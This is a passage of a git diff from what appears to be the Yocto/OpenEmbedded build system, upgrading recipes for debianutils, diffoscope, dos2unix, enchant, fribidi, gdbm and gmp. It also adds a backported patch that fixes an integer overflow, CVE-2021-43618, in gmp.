BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/debianutils/debianutils_4.8.6.3.bb b/meta/recipes-support/debianutils/debianutils_4.8.6.3.bb
deleted file mode 100644
index a69d01e0f9..0000000000
--- a/meta/recipes-support/debianutils/debianutils_4.8.6.3.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "Miscellaneous utilities specific to Debian"
-SECTION = "base"
-LICENSE = "GPLv2 & SMAIL_GPL"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=f01a5203d50512fc4830b4332b696a9f"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20190717T213444Z/pool/main/d/${BPN}/${BPN}_${PV}.tar.xz"
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/d/${BPN}/"
-
-SRC_URI[md5sum] = "ca57cc6621275346d7d516ab0b5fa1f5"
-SRC_URI[sha256sum] = "2cc7de3afc6df1cf6d00af9938efac7ee8f739228e548e512ddc186b6a7be221"
-
-inherit autotools update-alternatives
-
-do_configure_prepend() {
- sed -i -e 's:tempfile.1 which.1:which.1:g' ${S}/Makefile.am
-}
-
-do_install_append() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- # Debian places some utils into ${base_bindir} as does busybox
- install -d ${D}${base_bindir}
- for app in run-parts tempfile; do
- mv ${D}${bindir}/$app ${D}${base_bindir}/$app
- done
- fi
-}
-
-# Note that we package the update-alternatives name.
-#
-PACKAGES =+ "${PN}-run-parts"
-FILES_${PN}-run-parts = "${base_bindir}/run-parts.debianutils"
-
-RDEPENDS_${PN} += "${PN}-run-parts"
-RDEPENDS_${PN}_class-native = ""
-
-ALTERNATIVE_PRIORITY="30"
-ALTERNATIVE_${PN} = "add-shell installkernel remove-shell savelog tempfile which"
-
-ALTERNATIVE_PRIORITY_${PN}-run-parts = "60"
-ALTERNATIVE_${PN}-run-parts = "run-parts"
-
-ALTERNATIVE_${PN}-doc = "which.1"
-ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
-
-ALTERNATIVE_LINK_NAME[add-shell]="${sbindir}/add-shell"
-ALTERNATIVE_LINK_NAME[installkernel]="${sbindir}/installkernel"
-ALTERNATIVE_LINK_NAME[remove-shell]="${sbindir}/remove-shell"
-ALTERNATIVE_LINK_NAME[run-parts]="${base_bindir}/run-parts"
-ALTERNATIVE_LINK_NAME[savelog]="${bindir}/savelog"
-ALTERNATIVE_LINK_NAME[tempfile]="${base_bindir}/tempfile"
-ALTERNATIVE_LINK_NAME[which]="${bindir}/which"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/debianutils/debianutils_5.7.bb b/meta/recipes-support/debianutils/debianutils_5.7.bb
new file mode 100644
index 0000000000..7d705c6ff4
--- /dev/null
+++ b/meta/recipes-support/debianutils/debianutils_5.7.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Miscellaneous utilities specific to Debian"
+DESCRIPTION = "Provides a number of small utilities which are used \
+primarily by the installation scripts of Debian packages, although \
+you may use them directly. "
+HOMEPAGE = "https://packages.debian.org/sid/debianutils"
+BUGTRACKER = "https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=debianutils;dist=unstable"
+SECTION = "base"
+LICENSE = "GPL-2.0-only & SMAIL_GPL"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=9b912cd0cc654134c0ef3424a0705b94"
+
+SRC_URI = "git://salsa.debian.org/debian/debianutils.git;protocol=https;branch=master \
+ "
+
+SRCREV = "de14223e5bffe15e374a441302c528ffc1cbed57"
+
+inherit autotools update-alternatives
+
+S = "${WORKDIR}/git"
+
+# Disable po4a (translated manpages) sub-directory, as that requires po4a to build
+do_configure:prepend() {
+ sed -i -e 's:po4a::g' ${S}/Makefile.am
+}
+
+
+do_install:append() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ # Debian places some utils into ${base_bindir} as does busybox
+ install -d ${D}${base_bindir}
+ for app in run-parts; do
+ mv ${D}${bindir}/$app ${D}${base_bindir}/$app
+ done
+ fi
+}
+
+# Note that we package the update-alternatives name.
+#
+PACKAGES =+ "${PN}-run-parts"
+FILES:${PN}-run-parts = "${base_bindir}/run-parts.debianutils"
+
+RDEPENDS:${PN} += "${PN}-run-parts"
+RDEPENDS:${PN}:class-native = ""
+
+ALTERNATIVE_PRIORITY = "30"
+ALTERNATIVE:${PN} = "add-shell installkernel remove-shell savelog which"
+
+ALTERNATIVE_PRIORITY_${PN}-run-parts = "60"
+ALTERNATIVE:${PN}-run-parts = "run-parts"
+
+ALTERNATIVE:${PN}-doc = "which.1"
+ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
+
+ALTERNATIVE_LINK_NAME[add-shell] = "${sbindir}/add-shell"
+ALTERNATIVE_LINK_NAME[installkernel] = "${sbindir}/installkernel"
+ALTERNATIVE_LINK_NAME[remove-shell] = "${sbindir}/remove-shell"
+ALTERNATIVE_LINK_NAME[run-parts] = "${base_bindir}/run-parts"
+ALTERNATIVE_LINK_NAME[savelog] = "${bindir}/savelog"
+ALTERNATIVE_LINK_NAME[which] = "${bindir}/which"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/diffoscope/diffoscope_206.bb b/meta/recipes-support/diffoscope/diffoscope_206.bb
new file mode 100644
index 0000000000..7eaca74b33
--- /dev/null
+++ b/meta/recipes-support/diffoscope/diffoscope_206.bb
@@ -0,0 +1,30 @@
+SUMMARY = "in-depth comparison of files, archives, and directories"
+DESCRIPTION = "Tries to get to the bottom of what makes files or directories \
+different. It will recursively unpack archives of many kinds and transform \
+various binary formats into more human-readable form to compare them. \
+It can compare two tarballs, ISO images, or PDF just as easily."
+HOMEPAGE = "https://diffoscope.org/"
+BUGTRACKER = "https://salsa.debian.org/reproducible-builds/diffoscope/-/issues"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PYPI_PACKAGE = "diffoscope"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "93731939ede57547a3275c3c81875ab4bd222f26364a7519cf6aafe1939cd603"
+
+RDEPENDS:${PN} += "binutils vim squashfs-tools python3-libarchive-c python3-magic python3-rpm"
+
+# Dependencies don't build for musl
+COMPATIBLE_HOST:libc-musl = 'null'
+
+do_install:append:class-native() {
+ create_wrapper ${D}${bindir}/diffoscope \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ LD_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
+ RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE}
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/dos2unix/dos2unix_7.4.0.bb b/meta/recipes-support/dos2unix/dos2unix_7.4.0.bb
deleted file mode 100644
index 9a71270683..0000000000
--- a/meta/recipes-support/dos2unix/dos2unix_7.4.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Convert text file line endings between CRLF and LF"
-DESCRIPTION = "The Dos2unix package includes utilities dos2unix and \
-unix2dos to convert plain text files in DOS or Mac format to Unix \
-format and vice versa."
-HOMEPAGE = "http://waterlan.home.xs4all.nl/dos2unix.html"
-SECTION = "support"
-
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=1b78fca784db24f4a40e30b300787f3f"
-
-SRC_URI = "git://git.code.sf.net/p/dos2unix/dos2unix"
-UPSTREAM_CHECK_GITTAGREGEX = "dos2unix-(?P<pver>(\d+(\.\d+)+))"
-
-# Release 7.4.0
-SRCREV = "1182533bde3c1fe65be2ead465e87671faa2c027"
-
-S = "${WORKDIR}/git/dos2unix"
-
-inherit gettext perlnative
-
-# The dos2unix NLS relies on po4a-native, while po4a recipe is
-# provided by meta-perl layer, so make it optional here, you
-# need have meta-perl in bblayers.conf before enabling nls in
-# PACKAGECONFIG.
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[nls] = "ENABLE_NLS=1,ENABLE_NLS=,po4a-native"
-
-EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS} LDFLAGS_USER='${LDFLAGS}'"
-EXTRA_OEMAKE_class-native = "ENABLE_NLS="
-
-do_install () {
- oe_runmake DESTDIR="${D}${base_prefix}" install
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/dos2unix/dos2unix_7.4.2.bb b/meta/recipes-support/dos2unix/dos2unix_7.4.2.bb
new file mode 100644
index 0000000000..509a0a0ddc
--- /dev/null
+++ b/meta/recipes-support/dos2unix/dos2unix_7.4.2.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Convert text file line endings between CRLF and LF"
+DESCRIPTION = "The Dos2unix package includes utilities dos2unix and \
+unix2dos to convert plain text files in DOS or Mac format to Unix \
+format and vice versa."
+HOMEPAGE = "http://waterlan.home.xs4all.nl/dos2unix.html"
+SECTION = "support"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING.txt;md5=8a7c3499a1142df819e727253cd53a12"
+
+SRC_URI = "git://git.code.sf.net/p/dos2unix/dos2unix;branch=master"
+UPSTREAM_CHECK_GITTAGREGEX = "dos2unix-(?P<pver>(\d+(\.\d+)+))"
+
+SRCREV = "72596f0ae21faa25a07a872d4843bc885475115d"
+
+S = "${WORKDIR}/git/dos2unix"
+
+inherit gettext perlnative
+
+# The dos2unix NLS relies on po4a-native, while po4a recipe is
+# provided by meta-perl layer, so make it optional here, you
+# need have meta-perl in bblayers.conf before enabling nls in
+# PACKAGECONFIG.
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[nls] = "ENABLE_NLS=1,ENABLE_NLS=,po4a-native"
+
+EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS} LDFLAGS_USER='${LDFLAGS}'"
+EXTRA_OEMAKE:class-native = "ENABLE_NLS="
+
+do_install () {
+ oe_runmake DESTDIR="${D}${base_prefix}" install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/enchant/enchant2_2.3.2.bb b/meta/recipes-support/enchant/enchant2_2.3.2.bb
new file mode 100644
index 0000000000..101a42b59d
--- /dev/null
+++ b/meta/recipes-support/enchant/enchant2_2.3.2.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Enchant Spell checker API Library"
+DESCRIPTION = "A library (and command-line program) that wraps a number of \
+different spelling libraries and programs with a consistent interface."
+SECTION = "libs"
+HOMEPAGE = "https://abiword.github.io/enchant/"
+BUGTRACKER = "https://github.com/AbiWord/enchant/issues/"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "glib-2.0"
+
+inherit autotools pkgconfig
+
+SRC_URI = "https://github.com/AbiWord/enchant/releases/download/v${PV}/enchant-${PV}.tar.gz"
+SRC_URI[sha256sum] = "ce9ba47fd4d34031bd69445598a698a6611602b2b0e91d705e91a6f5099ead6e"
+
+UPSTREAM_CHECK_URI = "https://github.com/AbiWord/enchant/releases"
+
+S = "${WORKDIR}/enchant-${PV}"
+
+EXTRA_OEMAKE = "pkgdatadir=${datadir}/enchant-2"
+
+PACKAGECONFIG ??= "aspell"
+PACKAGECONFIG[aspell] = "--with-aspell,--without-aspell,aspell,aspell"
+PACKAGECONFIG[hunspell] = "--with-hunspell,--without-hunspell,hunspell,hunspell"
+
+FILES:${PN} += " \
+ ${datadir}/enchant-2 \
+ ${libdir}/enchant-2 \
+"
+FILES:${PN}-staticdev += "${libdir}/enchant-2/*.a"
diff --git a/meta/recipes-support/enchant/enchant_1.6.0.bb b/meta/recipes-support/enchant/enchant_1.6.0.bb
deleted file mode 100644
index 44eb2e3df4..0000000000
--- a/meta/recipes-support/enchant/enchant_1.6.0.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Enchant Spell checker API Library"
-SECTION = "libs"
-HOMEPAGE = "http://www.abisource.com/projects/enchant/"
-BUGTRACKER = "http://bugzilla.abisource.com/enter_bug.cgi?product=Enchant"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=dfcbabf9131dc9a95febef6753a2958b \
- file://src/enchant.h;beginline=1;endline=29;md5=8d881caa1d37523567e1d8f726675a18"
-
-DEPENDS = "glib-2.0"
-
-inherit autotools pkgconfig
-
-PR = "r3"
-
-SRC_URI = "http://www.abisource.com/downloads/enchant/${PV}/enchant-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "de11011aff801dc61042828041fb59c7"
-SRC_URI[sha256sum] = "2fac9e7be7e9424b2c5570d8affe568db39f7572c10ed48d4e13cddf03f7097f"
-
-PACKAGECONFIG ??= "aspell"
-PACKAGECONFIG[aspell] = " --with-aspell-prefix=${STAGING_DIR_HOST}${prefix} --enable-aspell, --disable-aspell, aspell, aspell"
-PACKAGECONFIG[ispell] = " --with-ispell-prefix=${STAGING_DIR_HOST}${prefix} --enable-ispell, --disable-ispell, ispell, ispell"
-PACKAGECONFIG[uspell] = " --with-uspell-prefix=${STAGING_DIR_HOST}${prefix} --enable-uspell, --disable-uspell, uspell, uspell"
-PACKAGECONFIG[hspell] = " --with-hspell-prefix=${STAGING_DIR_HOST}${prefix} --enable-hspell, --disable-hspell, hspell, hspell"
-PACKAGECONFIG[myspell] = "--with-myspell-prefix=${STAGING_DIR_HOST}${prefix} --enable-myspell, --disable-myspell, myspell, myspell"
-
-EXTRA_OECONF = "br_cv_binreloc=no"
-
-export CXXFLAGS += " -L${STAGING_LIBDIR} -lstdc++ "
-
-FILES_${PN} = "${bindir} ${libdir}/*${SOLIBS} ${datadir}/${BPN} ${libdir}/${BPN}/*.so"
-FILES_${PN}-dev += "${libdir}/${BPN}/*{SOLIBSDEV} ${libdir}/${BPN}/*.la"
-FILES_${PN}-staticdev += "${libdir}/${BPN}/*.a"
diff --git a/meta/recipes-support/fribidi/fribidi_1.0.11.bb b/meta/recipes-support/fribidi/fribidi_1.0.11.bb
new file mode 100644
index 0000000000..56ca734558
--- /dev/null
+++ b/meta/recipes-support/fribidi/fribidi_1.0.11.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Free Implementation of the Unicode Bidirectional Algorithm"
+DESCRIPTION = "It provides utility functions to aid in the development \
+of interactive editors and widgets that implement BiDi functionality. \
+The BiDi algorithm is a prerequisite for supporting right-to-left scripts such \
+as Hebrew, Arabic, Syriac, and Thaana. "
+SECTION = "libs"
+HOMEPAGE = "http://fribidi.org/"
+BUGTRACKER = "https://github.com/fribidi/fribidi/issues"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.xz \
+ "
+SRC_URI[sha256sum] = "30f93e9c63ee627d1a2cedcf59ac34d45bf30240982f99e44c6e015466b4e73d"
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
+
+inherit meson lib_package pkgconfig
+
+CVE_PRODUCT = "gnu_fribidi fribidi"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/fribidi/fribidi_1.0.7.bb b/meta/recipes-support/fribidi/fribidi_1.0.7.bb
deleted file mode 100644
index 6738884016..0000000000
--- a/meta/recipes-support/fribidi/fribidi_1.0.7.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Free Implementation of the Unicode Bidirectional Algorithm"
-SECTION = "libs"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.bz2 \
- "
-SRC_URI[md5sum] = "4c020b0f5136dd012ee00f1e1122f6aa"
-SRC_URI[sha256sum] = "5ab5f21e9f2fc57b4b40f8ea8f14dba78a5cc46d9cf94bc5e00a58e6886a935d"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-
-inherit meson lib_package pkgconfig
-
-CVE_PRODUCT = "gnu_fribidi"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gdbm/files/ptest.patch b/meta/recipes-support/gdbm/files/ptest.patch
index 1e67dbd554..25fb6bb2f4 100644
--- a/meta/recipes-support/gdbm/files/ptest.patch
+++ b/meta/recipes-support/gdbm/files/ptest.patch
@@ -1,4 +1,4 @@
-From 41448708e163c8ec1f980464e7dd6741db427c8a Mon Sep 17 00:00:00 2001
+From 8bea84a598b51a7ac7e50aa8f0f20857a9b6b07b Mon Sep 17 00:00:00 2001
From: Josep Puigdemont <josep.puigdemont@enea.com>
Date: Sun, 4 May 2014 16:02:07 +0200
Subject: [PATCH] Add install-ptest rules.
@@ -9,16 +9,16 @@ Upstream-Status: Pending
---
Makefile.am | 5 +++++
- tests/Makefile.am | 11 +++++++++++
- 2 files changed, 16 insertions(+)
+ tests/Makefile.am | 12 ++++++++++++
+ 2 files changed, 17 insertions(+)
diff --git a/Makefile.am b/Makefile.am
-index ecc03df..9fbbda5 100644
+index 59e2643..5f3ceb0 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -55,3 +55,8 @@ ChangeLog:
- awk -f $(top_srcdir)/git2chg.awk \
- -v append=$(top_srcdir)/$(prev_change_log) > ChangeLog; \
+@@ -64,3 +64,8 @@ ChangeLog:
+ mv ChangeLog.tmp ChangeLog; \
+ rm -f ChangeLog.tmp; \
fi
+
+install-ptest:
@@ -26,13 +26,14 @@ index ecc03df..9fbbda5 100644
+ $(MAKE) -C $$subdir DESTDIR=$(DESTDIR)/$$subdir $@; \
+ done
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index dbe17dd..06f537f 100644
+index fac6826..5dc2091 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -169,3 +169,14 @@ EXTRA_DIST += \
- gdbmtool/base.exp\
- config/default.exp
+@@ -143,3 +143,15 @@ d_creat_ce_LDADD = ../src/libgdbm.la ../compat/libgdbm_compat.la
+ t_wordwrap_LDADD = ../tools/libgdbmapp.a
+ SUBDIRS = gdbmtool
++
+buildtests: $(check_PROGRAMS) $(TESTSUITE)
+
+install-ptest: $(check_PROGRAMS) $(TESTSUITE)
@@ -44,3 +45,6 @@ index dbe17dd..06f537f 100644
+ $(INSTALL_PROGRAM) $$file $(DESTDIR) ; \
+ fi \
+ done
+--
+2.25.1
+
diff --git a/meta/recipes-support/gdbm/gdbm_1.18.1.bb b/meta/recipes-support/gdbm/gdbm_1.18.1.bb
deleted file mode 100644
index 16ecc506ce..0000000000
--- a/meta/recipes-support/gdbm/gdbm_1.18.1.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Key/value database library with extensible hashing"
-HOMEPAGE = "http://www.gnu.org/software/gdbm/"
-SECTION = "libs"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=241da1b9fe42e642cbb2c24d5e0c4d24"
-
-
-SRC_URI = "${GNU_MIRROR}/gdbm/gdbm-${PV}.tar.gz \
- file://run-ptest \
- file://ptest.patch \
- "
-
-SRC_URI[md5sum] = "988dc82182121c7570e0cb8b4fcd5415"
-SRC_URI[sha256sum] = "86e613527e5dba544e73208f42b78b7c022d4fa5a6d5498bf18c8d6f745b91dc"
-
-inherit autotools gettext texinfo lib_package ptest
-
-# Needed for dbm python module
-EXTRA_OECONF = "-enable-libgdbm-compat"
-
-# Stop presence of dbm/nbdm on the host contaminating builds
-CACHED_CONFIGUREVARS += "ac_cv_lib_ndbm_main=no ac_cv_lib_dbm_main=no"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append () {
- # Create a symlink to ndbm.h and gdbm.h in include/gdbm to let other packages to find
- # these headers
- install -d ${D}${includedir}/gdbm
- ln -sf ../ndbm.h ${D}/${includedir}/gdbm/ndbm.h
- ln -sf ../gdbm.h ${D}/${includedir}/gdbm/gdbm.h
-}
-
-RDEPENDS_${PN}-ptest += "diffutils ${PN}-bin"
-
-do_compile_ptest() {
- oe_runmake -C tests buildtests
-}
-
-PACKAGES =+ "${PN}-compat \
- "
-FILES_${PN}-compat = "${libdir}/libgdbm_compat${SOLIBS} \
- "
diff --git a/meta/recipes-support/gdbm/gdbm_1.23.bb b/meta/recipes-support/gdbm/gdbm_1.23.bb
new file mode 100644
index 0000000000..a08079741d
--- /dev/null
+++ b/meta/recipes-support/gdbm/gdbm_1.23.bb
@@ -0,0 +1,45 @@
+SUMMARY = "Key/value database library with extensible hashing"
+DESCRIPTION = "Library of database functions that use extensible hashing \
+and work similar to the standard UNIX dbm. These routines are provided \
+to a programmer needing to create and manipulate a hashed database."
+HOMEPAGE = "http://www.gnu.org/software/gdbm/"
+SECTION = "libs"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=241da1b9fe42e642cbb2c24d5e0c4d24"
+
+
+SRC_URI = "${GNU_MIRROR}/gdbm/gdbm-${PV}.tar.gz \
+ file://run-ptest \
+ file://ptest.patch \
+ "
+
+SRC_URI[sha256sum] = "74b1081d21fff13ae4bd7c16e5d6e504a4c26f7cde1dca0d963a484174bbcacd"
+
+inherit autotools gettext texinfo lib_package ptest
+
+# Needed for dbm python module
+EXTRA_OECONF = "--enable-libgdbm-compat --without-readline"
+
+# Stop presence of dbm/nbdm on the host contaminating builds
+CACHED_CONFIGUREVARS += "ac_cv_lib_ndbm_main=no ac_cv_lib_dbm_main=no"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append () {
+ # Create a symlink to ndbm.h and gdbm.h in include/gdbm to let other packages to find
+ # these headers
+ install -d ${D}${includedir}/gdbm
+ ln -sf ../ndbm.h ${D}/${includedir}/gdbm/ndbm.h
+ ln -sf ../gdbm.h ${D}/${includedir}/gdbm/gdbm.h
+}
+
+RDEPENDS:${PN}-ptest += "diffutils ${PN}-bin"
+
+do_compile_ptest() {
+ oe_runmake -C tests buildtests
+}
+
+PACKAGES =+ "${PN}-compat \
+ "
+FILES:${PN}-compat = "${libdir}/libgdbm_compat${SOLIBS} \
+ "
diff --git a/meta/recipes-support/gmp/gmp-6.1.2/amd64.patch b/meta/recipes-support/gmp/gmp-6.1.2/amd64.patch
deleted file mode 100644
index 3935589f8b..0000000000
--- a/meta/recipes-support/gmp/gmp-6.1.2/amd64.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Upstream-Status: Pending
-
-Index: gmp-6.1.2/longlong.h
-===================================================================
---- gmp-6.1.2.orig/longlong.h
-+++ gmp-6.1.2/longlong.h
-@@ -1036,8 +1036,10 @@ extern UWtype __MPN(udiv_qrnnd) (UWtype
- count is only an int. */
- #define count_trailing_zeros(count, x) \
- do { \
-+ UDItype __cbtmp; \
- ASSERT ((x) != 0); \
-- __asm__ ("bsfq %1,%q0" : "=r" (count) : "rm" ((UDItype)(x))); \
-+ __asm__ ("bsfq %1,%0" : "=r" (__cbtmp) : "rm" ((UDItype)(x))); \
-+ (count) = __cbtmp; \
- } while (0)
- #endif /* __amd64__ */
-
diff --git a/meta/recipes-support/gmp/gmp.inc b/meta/recipes-support/gmp/gmp.inc
index 948b89288e..1872226616 100644
--- a/meta/recipes-support/gmp/gmp.inc
+++ b/meta/recipes-support/gmp/gmp.inc
@@ -8,5 +8,5 @@ inherit autotools texinfo multilib_header
PACKAGECONFIG ??= ""
PACKAGECONFIG[readline] = "--with-readline=yes,--with-readline=no,readline"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-support/gmp/gmp-6.1.2/0001-Append-the-user-provided-flags-to-the-auto-detected-.patch b/meta/recipes-support/gmp/gmp/0001-Append-the-user-provided-flags-to-the-auto-detected-.patch
index 325ffe491f..325ffe491f 100644
--- a/meta/recipes-support/gmp/gmp-6.1.2/0001-Append-the-user-provided-flags-to-the-auto-detected-.patch
+++ b/meta/recipes-support/gmp/gmp/0001-Append-the-user-provided-flags-to-the-auto-detected-.patch
diff --git a/meta/recipes-support/gmp/gmp-6.1.2/0001-confiure.ac-Believe-the-cflags-from-environment.patch b/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
index 1e47924ccc..b26f4db98e 100644
--- a/meta/recipes-support/gmp/gmp-6.1.2/0001-confiure.ac-Believe-the-cflags-from-environment.patch
+++ b/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
@@ -12,19 +12,17 @@ Secondly, dont set armv4 for march when no selection
is made, since it is passed from cmdline
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [OE-Specific]
---
-Upstream-Status: Inappropriate[OE-Specific]
configure.ac | 11 -----------
1 file changed, 11 deletions(-)
-Index: gmp-6.1.2/configure.ac
-===================================================================
---- gmp-6.1.2.orig/configure.ac
-+++ gmp-6.1.2/configure.ac
-@@ -604,15 +604,6 @@ case $host in
- any_32_testlist="sizeof-long-4"
- any_64_testlist="sizeof-long-8"
+--- a/configure.ac
++++ b/configure.ac
+@@ -625,17 +625,6 @@ case $host in
+ any_32_testlist="sizeof-void*-4"
+ any_64_testlist="sizeof-void*-8"
- # This is needed for clang, which is not content with flags like -mfpu=neon
- # alone.
@@ -33,12 +31,14 @@ Index: gmp-6.1.2/configure.ac
- gcc_cflags_fpmode="-mfloat-abi=softfp" ;;
- *-*-*eabihf)
- gcc_cflags_fpmode="-mfloat-abi=hard" ;;
+- *-*-mingw*)
+- limb_64=longlong ;;
- esac
-
# FIXME: We make mandatory compiler options optional here. We should
# either enforce them, or organise to strip paths as the corresponding
# options fail.
-@@ -746,8 +737,6 @@ case $host in
+@@ -780,8 +769,6 @@ case $host in
;;
*)
path="arm"
diff --git a/meta/recipes-support/gmp/gmp/cve-2021-43618.patch b/meta/recipes-support/gmp/gmp/cve-2021-43618.patch
new file mode 100644
index 0000000000..095fb21eaa
--- /dev/null
+++ b/meta/recipes-support/gmp/gmp/cve-2021-43618.patch
@@ -0,0 +1,27 @@
+CVE: CVE-2021-43618
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+# HG changeset patch
+# User Marco Bodrato <bodrato@mail.dm.unipi.it>
+# Date 1634836009 -7200
+# Node ID 561a9c25298e17bb01896801ff353546c6923dbd
+# Parent e1fd9db13b475209a864577237ea4b9105b3e96e
+mpz/inp_raw.c: Avoid bit size overflows
+
+diff -r e1fd9db13b47 -r 561a9c25298e mpz/inp_raw.c
+--- a/mpz/inp_raw.c Tue Dec 22 23:49:51 2020 +0100
++++ b/mpz/inp_raw.c Thu Oct 21 19:06:49 2021 +0200
+@@ -88,8 +88,11 @@
+
+ abs_csize = ABS (csize);
+
++ if (UNLIKELY (abs_csize > ~(mp_bitcnt_t) 0 / 8))
++ return 0; /* Bit size overflows */
++
+ /* round up to a multiple of limbs */
+- abs_xsize = BITS_TO_LIMBS (abs_csize*8);
++ abs_xsize = BITS_TO_LIMBS ((mp_bitcnt_t) abs_csize * 8);
+
+ if (abs_xsize != 0)
+ {
diff --git a/meta/recipes-support/gmp/gmp-6.1.2/use-includedir.patch b/meta/recipes-support/gmp/gmp/use-includedir.patch
index 6b089cf39c..d27317cdf6 100644
--- a/meta/recipes-support/gmp/gmp-6.1.2/use-includedir.patch
+++ b/meta/recipes-support/gmp/gmp/use-includedir.patch
@@ -1,4 +1,7 @@
+exec includedir should be pointing to general yocto includdir
+
Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
Index: gmp-6.1.2/Makefile.am
===================================================================
diff --git a/meta/recipes-support/gmp/gmp_6.1.2.bb b/meta/recipes-support/gmp/gmp_6.1.2.bb
deleted file mode 100644
index c745dbbfe7..0000000000
--- a/meta/recipes-support/gmp/gmp_6.1.2.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-require gmp.inc
-
-LICENSE = "GPLv2+ | LGPLv3+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
-"
-
-REVISION = ""
-SRC_URI = "https://gmplib.org/download/${BPN}/${BP}${REVISION}.tar.bz2 \
- file://amd64.patch \
- file://use-includedir.patch \
- file://0001-Append-the-user-provided-flags-to-the-auto-detected-.patch \
- file://0001-confiure.ac-Believe-the-cflags-from-environment.patch \
- "
-SRC_URI[md5sum] = "8ddbb26dc3bd4e2302984debba1406a5"
-SRC_URI[sha256sum] = "5275bb04f4863a13516b2f39392ac5e272f5e1bb8057b18aec1c9b79d73d8fb2"
-
-acpaths = ""
-
-EXTRA_OECONF += " --enable-cxx=detect"
-EXTRA_OECONF_mipsarchr6_append = " --disable-assembly"
-
-PACKAGES =+ "libgmpxx"
-FILES_libgmpxx = "${libdir}/libgmpxx${SOLIBS}"
-
-do_install_append() {
- oe_multilib_header gmp.h
-}
-
-do_install_prepend_class-target() {
- sed -i \
- -e "s|--sysroot=${STAGING_DIR_HOST}||g" \
- -e "s|${DEBUG_PREFIX_MAP}||g" \
- ${B}/gmp.h
-}
-
-SSTATE_SCAN_FILES += "gmp.h"
-
-# Doesn't compile in MIPS16e mode due to use of hand-written
-# assembly
